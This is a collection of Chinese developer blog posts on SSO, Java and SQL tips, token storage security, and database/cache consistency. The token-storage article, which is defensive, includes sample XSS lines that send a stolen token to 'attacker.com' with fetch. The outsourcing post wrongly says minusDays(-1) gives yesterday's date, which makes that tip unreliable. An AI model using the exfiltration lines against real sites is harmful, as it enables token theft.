单点登录:一次登录,全网通行
大家好,我是小悟。
- 想象一下你去游乐园,买了一张通票(登录),然后就可以玩所有项目(访问各个系统),不用每个项目都重新买票(重新登录)。这就是单点登录(SSO)的精髓!
SSO的日常比喻
- 普通登录:像去不同商场,每个都要查会员卡
- 单点登录:像微信扫码登录,一扫全搞定
- 令牌:像游乐园手环,戴着就能证明你买过票
下面用代码来实现这个"游乐园通票系统":
代码实现:简易SSO系统
import java.util.*;
// 用户类 - 就是我们这些想玩项目的游客
class User {
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
// getters 省略...
}
// 令牌类 - 游乐园手环
class Token {
private String tokenId;
private String username;
private Date expireTime;
public Token(String username) {
this.tokenId = UUID.randomUUID().toString();
this.username = username;
// 令牌1小时后过期 - 游乐园晚上要关门的!
this.expireTime = new Date(System.currentTimeMillis() + 3600 * 1000);
}
public boolean isValid() {
return new Date().before(expireTime);
}
// getters 省略...
}
// SSO认证中心 - 游乐园售票处
class SSOAuthCenter {
private Map<String, Token> validTokens = new HashMap<>();
private Map<String, User> users = new HashMap<>();
public SSOAuthCenter() {
// 预先注册几个用户 - 办了年卡的游客
users.put("zhangsan", new User("zhangsan", "123456"));
users.put("lisi", new User("lisi", "abcdef"));
}
// 登录 - 买票入场
public String login(String username, String password) {
User user = users.get(username);
if (user != null && user.getPassword().equals(password)) {
Token token = new Token(username);
validTokens.put(token.getTokenId(), token);
System.out.println(username + " 登录成功!拿到游乐园手环:" + token.getTokenId());
return token.getTokenId();
}
System.out.println("用户名或密码错误!请重新买票!");
return null;
}
// 验证令牌 - 检查手环是否有效
public boolean validateToken(String tokenId) {
Token token = validTokens.get(tokenId);
if (token != null && token.isValid()) {
System.out.println("手环有效,欢迎继续玩耍!");
return true;
}
System.out.println("手环无效或已过期,请重新登录!");
validTokens.remove(tokenId); // 清理过期令牌
return false;
}
// 登出 - 离开游乐园
public void logout(String tokenId) {
validTokens.remove(tokenId);
System.out.println("已登出,欢迎下次再来玩!");
}
}
// 业务系统A - 过山车
class SystemA {
private SSOAuthCenter authCenter;
public SystemA(SSOAuthCenter authCenter) {
this.authCenter = authCenter;
}
public void accessSystem(String tokenId) {
System.out.println("=== 欢迎来到过山车 ===");
if (authCenter.validateToken(tokenId)) {
System.out.println("过山车启动!尖叫声在哪里!");
} else {
System.out.println("请先登录再玩过山车!");
}
}
}
// 业务系统B - 旋转木马
class SystemB {
private SSOAuthCenter authCenter;
public SystemB(SSOAuthCenter authCenter) {
this.authCenter = authCenter;
}
public void accessSystem(String tokenId) {
System.out.println("=== 欢迎来到旋转木马 ===");
if (authCenter.validateToken(tokenId)) {
System.out.println("木马转起来啦!找回童年记忆!");
} else {
System.out.println("请先登录再玩旋转木马!");
}
}
}
// 测试我们的SSO系统
public class SSODemo {
public static void main(String[] args) {
// 创建认证中心 - 游乐园大门
SSOAuthCenter authCenter = new SSOAuthCenter();
// 张三登录
String token = authCenter.login("zhangsan", "123456");
if (token != null) {
// 拿着同一个令牌玩不同项目
SystemA systemA = new SystemA(authCenter);
SystemB systemB = new SystemB(authCenter);
systemA.accessSystem(token); // 玩过山车
systemB.accessSystem(token); // 玩旋转木马
// 登出
authCenter.logout(token);
// 再尝试访问 - 应该被拒绝
systemA.accessSystem(token);
}
// 测试错误密码
authCenter.login("lisi", "wrongpassword");
}
}
运行结果示例:
zhangsan 登录成功!拿到游乐园手环:a1b2c3d4-e5f6-7890-abcd-ef1234567890
=== 欢迎来到过山车 ===
手环有效,欢迎继续玩耍!
过山车启动!尖叫声在哪里!
=== 欢迎来到旋转木马 ===
手环有效,欢迎继续玩耍!
木马转起来啦!找回童年记忆!
已登出,欢迎下次再来玩!
=== 欢迎来到过山车 ===
手环无效或已过期,请重新登录!
请先登录再玩过山车!
用户名或密码错误!请重新买票!
总结一下:
单点登录就像:
- 一次认证,处处通行 🎫
- 不用重复输入密码 🔑
- 安全又方便 👍
好的SSO系统就像好的游乐园管理,既要让游客玩得开心,又要确保安全!

谢谢你看我的文章,既然看到这里了,如果觉得不错,随手点个赞、转发、在看三连吧,感谢感谢。那我们,下次再见。
您的一键三连,是我更新的最大动力,谢谢
山水有相逢,来日皆可期,谢谢阅读,我们再会
我手中的金箍棒,上能通天,下能探海
来源:juejin.cn/post/7577599015426228259
同志们,我去外包了
同志们,我去外包了
同志们,经历了漫长的思想斗争,我决定回老家发展,然后就是简历石沉大海,还好外包拯救了我,我去外包了!

都是自己人,说这些伤心话干嘛;下面说下最近面试的总结地方,小小弱鸡,图一乐吧。
首先随着工作年限的增加,越来越多公司并不会去和你抠八股文了(那阵八股风好像停了),只是象征性的问几个问题,然后会对照着项目去问些实际的问题以及你的处理办法。
(ps:(坐标合肥)突然想到某鑫面试官问我你知道亿级流量吗?你怎么处理的,听到这个问题我就想呼过去,也许读书读傻了,他根本不知道亿级流量是个什么概念,最主要的是它是个制造业公司啊,你哪来的亿级流量啊,也不知道问这个问题时他在想啥,还有某德(不是高德),一场能面一个小时,人裂开)。
好了,言归正传,咱说点入职这家公司我了解到的一点东西,我分为两部分:代码和sql;
代码上
首先传统的web项目也会分前端后端,这点不错;
1.获取昨天日期
可以使用jdk自带的LocalDate.now().minusDays(-1)
这个其实内部调用的是plusDays(1)方法,所以不如直接就用plusDays方法,这样少一层判断;
PS:有多少人和我之前一样直接new Date()的。
2.字符填充
apache.common下的StringUtils的rightPad方法用于字符串填充使用方法是StringUtils.rightPad(str,len,fillStr)
大概意思就是str长度如果小于len,就用fillStr填充;
PS:有多少人之前是String.format或者StringBuilder用循环实现的。
3.获取指定年指定月的某天
获取指定年指定月的某天可以用localDate.of(year,month,day),如果我们想取2025年的五月一号,可以写成LocalDate.of(2025, 5, 1),那有人可能就想到了如果月尾呢,LocalDate.of(2025, 5, 31)也是可以的,但是我们需要清楚知道这个月有多少天,比如说你2月给个30天,那就会抛异常;
麻烦;

更好的办法就是先获取第一天,然后调用localDate.with(TemporalAdjusters.lastDayOfMonth());方法获取最后一天,TemporalAdjusters.lastDayOfMonth()会自动处理不同月份和闰年的情况;
sql层面的
有言在先,说实话我不建议在sql层面写这种复杂的东西,毕竟我们这么弱的人看到那么长的且复杂的sql会很无力,那种无力感你懂吗?打工人不为难打工人;不过既然别人写了,咱们就学习一下嘛;
1.获取系统日期
首先获取系统日期可以试用TRUNC(SYSDATE)进行截取,这样返回的时分秒是00:00:00,比如2025-05-29 00:00:00,它也可以截取数字,想知道就去自行科普下,不建议掌握,学习了下,有点搞;
2.返回date当前月份的最后一天
LAST_DAY(date)这个返回的是date当前月份的最后一天,比如今天是2025-05-29,那么返回的是2025-05-31
ADD_MONTH(date,11)表示当前日期加上11个月,比如2025-01-02,最终返回的是2025-12-02;
3.左连接的知识点
最后再提个左连接的知识点,最近看懵了,图一乐哈,A left join B,就是on的条件是在join生成临时表时起作用的,而where是对生成的临时表进行过滤;
两者过滤的时机不一样。我想了很久我觉得可以这么理解,on它虽然可以添加条件,但他的条件只是一个匹配条件比如B.age>10;它是不会对A表查询出来的数据量产生一个过滤效果;
而where是一个实打实的过滤条件,不管怎么说都会影响最终结果,对于inner join这个特例,on和where的最终效果一样,因为B.age>10会导致B的匹配数据减少,由于是交集,故会对整体数据产生影响。
好了,晚安,外包打工仔。。。
来源:juejin.cn/post/7510055871465308212
面试官最爱挖的坑:用户 Token 到底该存哪?
面试官问:"用户 token 应该存在哪?"
很多人脱口而出:localStorage。
这个回答不能说错,但远称不上好答案。
一个好答案,至少要说清三件事:
- 有哪些常见存储方式,它们的优缺点是什么
- 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
- 实际项目里怎么落地、怎么权衡「安全 vs 成本」
这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。
三种存储方式,一张图看懂差异
前端存 token,主流就三种:
flowchart LR
subgraph 存储方式
A[localStorage]
B[普通 Cookie]
C[HttpOnly Cookie]
end
subgraph 安全特性
D[XSS 可读取]
E[CSRF 会发送]
end
A -->|是| D
A -->|否| E
B -->|是| D
B -->|是| E
C -->|否| D
C -->|是| E
style A fill:#f8d7da,stroke:#dc3545
style B fill:#f8d7da,stroke:#dc3545
style C fill:#d4edda,stroke:#28a745
| 存储方式 | XSS 能读到吗 | CSRF 会自动带吗 | 推荐程度 |
|---|---|---|---|
| localStorage | 能 | 不会 | 不推荐存敏感数据 |
| 普通 Cookie | 能 | 会 | 不推荐 |
| HttpOnly Cookie | 不能 | 会 | 推荐 |
localStorage:用得最多,但也最容易出事
大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:
// 登录成功后
localStorage.setItem('token', response.accessToken);
// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});
用起来确实方便,但有个致命问题:XSS 攻击可以直接读取。
localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:
// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))
你可能会想:"我的代码没有 XSS 漏洞。"
现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。
普通 Cookie:XSS 能读,CSRF 还会自动带
有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"
如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:
// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;
// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);
XSS 能读,CSRF 还会自动带上——两头不讨好。
HttpOnly Cookie:让 XSS 偷不走 Token
真正值得推荐的,是 HttpOnly Cookie。
它的核心优势只有一句话:JavaScript 读不到。
// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
httpOnly: true, // JS 访问不到
secure: true, // 只在 HTTPS 发送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小时过期
});
设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。
// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
credentials: 'include'
});
// 攻击者的 XSS 脚本
document.cookie // 看不到 httpOnly 的 Cookie,偷不走
HttpOnly Cookie 的代价:需要正面面对 CSRF
HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF。
因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:
sequenceDiagram
participant 用户
participant 银行网站
participant 恶意网站
用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
用户->>恶意网站: 2. 访问恶意网站
恶意网站->>用户: 3. 页面包含隐藏表单
用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
银行网站->>银行网站: 5. Cookie 有效,执行转账
Note over 用户: 用户完全不知情
好消息是:CSRF 比 XSS 容易防得多。
SameSite 属性
最简单的一步,就是在设置 Cookie 时加上 sameSite:
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 关键配置
});
sameSite 有三个值:
- strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
- lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
- none:都带,但必须配合
secure: true
lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。
CSRF Token(更严格)
如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:
// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // 这个不用 httpOnly,前端需要读
// 前端请求时带上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
},
credentials: 'include'
});
// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}
攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。
核心对比:为什么宁愿多做 CSRF,也要堵死 XSS
这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。
XSS 的攻击面太广:
- 用户输入渲染(评论、搜索、URL 参数)
- 第三方脚本(广告、统计、CDN)
- 富文本编辑器
- Markdown 渲染
- JSON 数据直接插入 HTML
代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。
CSRF 防护相对简单、手段统一:
sameSite: lax一行配置搞定大部分场景- 需要更严格就加 CSRF Token
- 攻击面有限,主要是表单提交和链接跳转
两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护。
真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie
从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。
后端改动
登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:
// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});
// 改造后
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});
前端改动
前端请求时不再手动带 token,而是改成 credentials: 'include':
// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});
// 改造后
fetch('/api/user', {
credentials: 'include'
});
如果用 axios,可以全局配置:
axios.defaults.withCredentials = true;
登出处理
登出时,后端清除 Cookie:
app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});
如果暂时做不到 HttpOnly Cookie,可以怎么降风险
有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:
- 严格防 XSS
- 用
textContent代替innerHTML - 用户输入必须转义
- 配置 CSP 头
- 富文本用 DOMPurify 过滤
- 用
- Token 过期时间要短
- Access Token 15-30 分钟过期
- 配合 Refresh Token 机制
- 敏感操作二次验证
- 转账、改密码等操作,要求输入密码或短信验证
- 监控异常行为
- 同一账号多地登录告警
- Token 使用频率异常告警
面试怎么答
回到开头的问题,面试怎么答?
简洁版(30 秒):
推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。
完整版(1-2 分钟):
Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。
localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。
普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。
推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。
所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。
当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。
加分项(如果面试官追问):
- 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
- 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
- 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估
如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:
Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):
- code-review-skill - 代码审查技能,覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则(详细介绍)
- 5-whys-skill - 5 Whys 根因分析,说"找根因"自动激活
- first-principles-skill - 第一性原理思考,适合架构设计和技术选型
全栈项目(适合学习现代技术栈):
- prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
- chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB
来源:juejin.cn/post/7583898823920451626
高并发下是先写数据库,还是先写缓存?
大家好,我是苏三,又跟大家见面了
前言
数据库和缓存(比如:redis)双写数据一致性问题,是一个跟开发语言无关的公共问题。尤其在高并发的场景下,这个问题变得更加严重。
我很负责的告诉你,该问题无论在面试,还是工作中遇到的概率非常大,所以非常有必要跟大家一起探讨一下。
今天这篇文章我会从浅入深,跟大家一起聊聊,数据库和缓存双写数据一致性问题常见的解决方案,这些方案中可能存在的坑,以及最优方案是什么。
1. 常见方案
通常情况下,我们使用缓存的主要目的是为了提升查询的性能。 大多数情况下,我们是这样使用缓存的:
- 用户请求过来之后,先查缓存有没有数据,如果有则直接返回。
- 如果缓存没数据,再继续查数据库。
- 如果数据库有数据,则将查询出来的数据,放入缓存中,然后返回该数据。
- 如果数据库也没数据,则直接返回空。
这是缓存非常常见的用法。一眼看上去,好像没有啥问题。
但你忽略了一个非常重要的细节:如果数据库中的某条数据,放入缓存之后,又立马被更新了,那么该如何更新缓存呢?
不更新缓存行不行?
答:当然不行,如果不更新缓存,在很长的一段时间内(决定于缓存的过期时间),用户请求从缓存中获取到的都可能是旧值,而非数据库的最新值。这不是有数据不一致的问题?
那么,我们该如何更新缓存呢?
目前有以下4种方案:
- 先写缓存,再写数据库
- 先写数据库,再写缓存
- 先删缓存,再写数据库
- 先写数据库,再删缓存
接下来,我们详细说说这4种方案。
2. 先写缓存,再写数据库
对于更新缓存的方案,很多人第一个想到的可能是在写操作中直接更新缓存(写缓存),更直接明了。
那么,问题来了:在写操作中,到底是先写缓存,还是先写数据库呢?
我们在这里先聊聊先写缓存,再写数据库的情况,因为它的问题最严重。
某一个用户的每一次写操作,如果刚写完缓存,突然网络出现了异常,导致写数据库失败了。
其结果是缓存更新成了最新数据,但数据库没有,这样缓存中的数据不就变成脏数据了?如果此时该用户的查询请求,正好读取到该数据,就会出现问题,因为该数据在数据库中根本不存在,这个问题非常严重。
我们都知道,缓存的主要目的是把数据库的数据临时保存在内存,便于后续的查询,提升查询速度。
但如果某条数据,在数据库中都不存在,你缓存这种“假数据”又有啥意义呢?
因此,先写缓存,再写数据库的方案是不可取的,在实际工作中用得不多。
3. 先写数据库,再写缓存
既然上面的方案行不通,接下来,聊聊先写数据库,再写缓存的方案,该方案在低并发编程中有人在用(我猜的)。
用户的写操作,先写数据库,再写缓存,可以避免之前“假数据”的问题。但它却带来了新的问题。
什么问题呢?
3.1 写缓存失败了
如果把写数据库和写缓存操作,放在同一个事务当中,当写缓存失败了,我们可以把写入数据库的数据进行回滚。
如果是并发量比较小,对接口性能要求不太高的系统,可以这么玩。
但如果在高并发的业务场景中,写数据库和写缓存,都属于远程操作。为了防止出现大事务,造成的死锁问题,通常建议写数据库和写缓存不要放在同一个事务中。
也就是说在该方案中,如果写数据库成功了,但写缓存失败了,数据库中已写入的数据不会回滚。
这就会出现:数据库是新数据,而缓存是旧数据,两边数据不一致的情况。
3.1 高并发下的问题
假设在高并发的场景中,针对同一个用户的同一条数据,有两个写数据请求:a和b,它们同时请求到业务系统。
其中请求a获取的是旧数据,而请求b获取的是新数据,如下图所示:
- 请求a先过来,刚写完了数据库。但由于网络原因,卡顿了一下,还没来得及写缓存。
- 这时候请求b过来了,先写了数据库。
- 接下来,请求b顺利写了缓存。
- 此时,请求a卡顿结束,也写了缓存。
很显然,在这个过程当中,请求b在缓存中的新数据,被请求a的旧数据覆盖了。
也就是说:在高并发场景中,如果多个线程同时执行先写数据库,再写缓存的操作,可能会出现数据库是新值,而缓存中是旧值,两边数据不一致的情况。
3.2 浪费系统资源
该方案还有一个比较大的问题就是:每个写操作,写完数据库,会马上写缓存,比较浪费系统资源。
为什么这么说呢?
你可以试想一下,如果写的缓存,并不是简单的数据内容,而是要经过非常复杂的计算得出的最终结果。这样每写一次缓存,都需要经过一次非常复杂的计算,不是非常浪费系统资源吗?
尤其是cpu和内存资源。
还有些业务场景比较特殊:写多读少。
如果在这类业务场景中,每个用的写操作,都需要写一次缓存,有点得不偿失。
由此可见,在高并发的场景中,先写数据库,再写缓存,这套方案问题挺多的,也不太建议使用。
如果你已经用了,赶紧看看踩坑了没?
4. 先删缓存,再写数据库
通过上面的内容我们得知,如果直接更新缓存的问题很多。
那么,为何我们不能换一种思路:不去直接更新缓存,而改为删除缓存呢?
删除缓存方案,同样有两种:
- 先删缓存,再写数据库
- 先写数据库,再删缓存
我们一起先看看:先删缓存,再写数据库的情况。
说白了,在用户的写操作中,先执行删除缓存操作,再去写数据库。这套方案,可以是可以,但也会有一样问题。
4.1 高并发下的问题
假设在高并发的场景中,同一个用户的同一条数据,有一个读数据请求c,还有另一个写数据请求d(一个更新操作),同时请求到业务系统。如下图所示:
- 请求d先过来,把缓存删除了。但由于网络原因,卡顿了一下,还没来得及写数据库。
- 这时请求c过来了,先查缓存发现没数据,再查数据库,有数据,但是旧值。
- 请求c将数据库中的旧值,更新到缓存中。
- 此时,请求d卡顿结束,把新值写入数据库。
在这个过程当中,请求d的新值并没有被请求c写入缓存,同样会导致缓存和数据库的数据不一致的情况。
那么,这种场景的数据不一致问题,能否解决呢?
4.2 缓存双删
在上面的业务场景中,一个读数据请求,一个写数据请求。当写数据请求把缓存删了之后,读数据请求,可能把当时从数据库查询出来的旧值,写入缓存当中。
有人说还不好办,请求d在写完数据库之后,把缓存重新删一次不就行了?
这就是我们所说的缓存双删,即在写数据库之前删除一次,写完数据库后,再删除一次。
该方案有个非常关键的地方是:第二次删除缓存,并非立马就删,而是要在一定的时间间隔之后。
我们再重新回顾一下,高并发下一个读数据请求,一个写数据请求导致数据不一致的产生过程:
- 请求d先过来,把缓存删除了。但由于网络原因,卡顿了一下,还没来得及写数据库。
- 这时请求c过来了,先查缓存发现没数据,再查数据库,有数据,但是旧值。
- 请求c将数据库中的旧值,更新到缓存中。
- 此时,请求d卡顿结束,把新值写入数据库。
- 一段时间之后,比如:500ms,请求d将缓存删除。
这样来看确实可以解决缓存不一致问题。
那么,为什么一定要间隔一段时间之后,才能删除缓存呢?
请求d卡顿结束,把新值写入数据库后,请求c将数据库中的旧值,更新到缓存中。
此时,如果请求d删除太快,在请求c将数据库中的旧值更新到缓存之前,就已经把缓存删除了,这次删除就没任何意义。必须要在请求c更新缓存之后,再删除缓存,才能把旧值及时删除了。
所以需要在请求d中加一个时间间隔,确保请求c,或者类似于请求c的其他请求,如果在缓存中设置了旧值,最终都能够被请求d删除掉。
接下来,还有一个问题:如果第二次删除缓存时,删除失败了该怎么办?
这里先留点悬念,后面会详细说。
5. 先写数据库,再删缓存
从前面得知,先删缓存,再写数据库,在并发的情况下,也可能会出现缓存和数据库的数据不一致的情况。
那么,我们只能寄希望于最后的方案了。
接下来,我们重点看看先写数据库,再删缓存的方案。
在高并发的场景中,有一个读数据请求,有一个写数据请求,更新过程如下:
- 请求e先写数据库,由于网络原因卡顿了一下,没有来得及删除缓存。
- 请求f查询缓存,发现缓存中有数据,直接返回该数据。
- 请求e删除缓存。
在这个过程中,只有请求f读了一次旧数据,后来旧数据被请求e及时删除了,看起来问题不大。
但如果是读数据请求先过来呢?
- 请求f查询缓存,发现缓存中有数据,直接返回该数据。
- 请求e先写数据库。
- 请求e删除缓存。
这种情况看起来也没问题呀?
答:对的。
但就怕出现下面这种情况,即缓存自己失效了。如下图所示:
- 缓存过期时间到了,自动失效。
- 请求f查询缓存,发缓存中没有数据,查询数据库的旧值,但由于网络原因卡顿了,没有来得及更新缓存。
- 请求e先写数据库,接着删除了缓存。
- 请求f更新旧值到缓存中。
这时,缓存和数据库的数据同样出现不一致的情况了。
但这种情况还是比较少的,需要同时满足以下条件才可以:
- 缓存刚好自动失效。
- 请求f从数据库查出旧值,更新缓存的耗时,比请求e写数据库,并且删除缓存的还长。
我们都知道查询数据库的速度,一般比写数据库要快,更何况写完数据库,还要删除缓存。所以绝大多数情况下,写数据请求比读数据情况耗时更长。
由此可见,系统同时满足上述两个条件的概率非常小。
推荐大家使用先写数据库,再删缓存的方案,虽说不能100%避免数据不一致问题,但出现该问题的概率,相对于其他方案来说是最小的。
但在该方案中,如果删除缓存失败了该怎么办呢?
6. 删缓存失败怎么办?
其实先写数据库,再删缓存的方案,跟缓存双删的方案一样,有一个共同的风险点,即:如果缓存删除失败了,也会导致缓存和数据库的数据不一致。
那么,删除缓存失败怎么办呢?
答:需要加重试机制。
在接口中如果更新了数据库成功了,但更新缓存失败了,可以立刻重试3次。如果其中有任何一次成功,则直接返回成功。如果3次都失败了,则写入数据库,准备后续再处理。
当然,如果你在接口中直接同步重试,该接口并发量比较高的时候,可能有点影响接口性能。
这时,就需要改成异步重试了。
异步重试方式有很多种,比如:
- 每次都单独起一个线程,该线程专门做重试的工作。但如果在高并发的场景下,可能会创建太多的线程,导致系统OOM问题,不太建议使用。
- 将重试的任务交给线程池处理,但如果服务器重启,部分数据可能会丢失。
- 将重试数据写表,然后使用elastic-job等定时任务进行重试。
- 将重试的请求写入mq等消息中间件中,在mq的consumer中处理。
- 订阅mysql的binlog,在订阅者中,如果发现了更新数据请求,则删除相应的缓存。
7. 定时任务
使用定时任务重试的具体方案如下:
- 当用户操作写完数据库,但删除缓存失败了,需要将用户数据写入重试表中。如下图所示:

- 在定时任务中,异步读取重试表中的用户数据。重试表需要记录一个重试次数字段,初始值为0。然后重试5次,不断删除缓存,每重试一次该字段值+1。如果其中有任意一次成功了,则返回成功。如果重试了5次,还是失败,则我们需要在重试表中记录一个失败的状态,等待后续进一步处理。

- 在高并发场景中,定时任务推荐使用
elastic-job。相对于xxl-job等定时任务,它可以分片处理,提升处理速度。同时每片的间隔可以设置成:1,2,3,5,7秒等。
如果大家对定时任务比较感兴趣的话,可以看看我的另一篇文章《学会这10种定时任务,我有点飘了》,里面列出了目前最主流的定时任务。
使用定时任务重试的话,有个缺点就是实时性没那么高,对于实时性要求特别高的业务场景,该方案不太适用。但是对于一般场景,还是可以用一用的。
但它有一个很大的优点,即数据是落库的,不会丢数据。
8. mq
在高并发的业务场景中,mq(消息队列)是必不可少的技术之一。它不仅可以异步解耦,还能削峰填谷。对保证系统的稳定性是非常有意义的。
对mq有兴趣的朋友可以看看我的另一篇文章《mq的那些破事儿》。
mq的生产者,生产了消息之后,通过指定的topic发送到mq服务器。然后mq的消费者,订阅该topic的消息,读取消息数据之后,做业务逻辑处理。
使用mq重试的具体方案如下:
- 当用户操作写完数据库,但删除缓存失败了,产生一条mq消息,发送给mq服务器。
- mq消费者读取mq消息,重试5次删除缓存。如果其中有任意一次成功了,则返回成功。如果重试了5次,还是失败,则写入
死信队列中。 - 推荐mq使用
rocketmq,重试机制和死信队列默认是支持的。使用起来非常方便,而且还支持顺序消息,延迟消息和事务消息等多种业务场景。
当然在该方案中,删除缓存可以完全走异步。即用户的写操作,在写完数据库之后,不用立刻删除一次缓存。而直接发送mq消息,到mq服务器,然后有mq消费者全权负责删除缓存的任务。
因为mq的实时性还是比较高的,因此改良后的方案也是一种不错的选择。
9. binlog
前面我们聊过的,无论是定时任务,还是mq(消息队列),做重试机制,对业务都有一定的侵入性。
在使用定时任务的方案中,需要在业务代码中增加额外逻辑,如果删除缓存失败,需要将数据写入重试表。
而使用mq的方案中,如果删除缓存失败了,需要在业务代码中发送mq消息到mq服务器。
其实,还有一种更优雅的实现,即监听binlog,比如使用:canal等中间件。
具体方案如下:
- 在业务接口中写数据库之后,就不管了,直接返回成功。
- mysql服务器会自动把变更的数据写入binlog中。
- binlog订阅者获取变更的数据,然后删除缓存。
这套方案中业务接口确实简化了一些流程,只用关心数据库操作即可,而在binlog订阅者中做缓存删除工作。
但如果只是按照图中的方案进行删除缓存,只删除了一次,也可能会失败。
如何解决这个问题呢?
答:这就需要加上前面聊过的重试机制了。如果删除缓存失败,写入重试表,使用定时任务重试。或者写入mq,让mq自动重试。
在这里推荐使用mq自动重试机制。
在binlog订阅者中如果删除缓存失败,则发送一条mq消息到mq服务器,在mq消费者中自动重试5次。如果有任意一次成功,则直接返回成功。如果重试5次后还是失败,则该消息自动被放入死信队列,后面可能需要人工介入。
最后说一句(求关注,别白嫖我)
如果这篇文章对您有所帮助,或者有所启发的话,帮忙关注一下我的同名公众号:苏三说技术,您的支持是我坚持写作最大的动力。
求一键三连:点赞、转发、在看。
关注公众号:【苏三说技术】,在公众号中回复:进大厂,可以免费获取我最近整理的10万字的面试宝典,好多小伙伴靠这个宝典拿到了多家大厂的offer。
更多项目实战:susan.net.cn/project
来源:juejin.cn/post/7596975035437809673
聊聊场景题:百万人同时点赞怎么办?这个怎么回答
大家发现了吧,现在面试八股文好像问的少了,反倒是场景题多了起来,毕竟现在AI如此强大,总揪着这点底层基础也没多大意思。
面试官张嘴闭嘴高并发、大数据量倒是真的,别管实际业务是不是高并发,但是你不会是进不来拧螺丝的。
就像之前有同学被问:“某音百万用户同时给一个视频点赞,让你来要怎么设计?”,这类题肯定见过吧。
咱们来简单拆解下这题,我是一个小学习,知识量有限,不喜勿喷。
这道题到底考察什么?
别上来就想用什么技术,先明确面试官的考察点,才能答到点子上:
- 高并发写入能力:百万人同时操作,瞬间 QPS 能冲到几十万,如何避免数据库被打垮?这是考察你对流量削峰的理解;
- 数据一致性:用户点赞后必须立刻看到 已赞 状态,点赞数可以有轻微延迟,但不能错、不能丢,这是对最终一致性的考察;
- 系统可用性:就算后端服务波动,用户点赞操作也得成功,不能出现点了没反应的情况,考察容错和降级思路;
- 资源优化:百万次请求直接怼数据库肯定不行,如何用缓存、消息队列等中间件减轻压力,考察技术选型能力。
换位思考
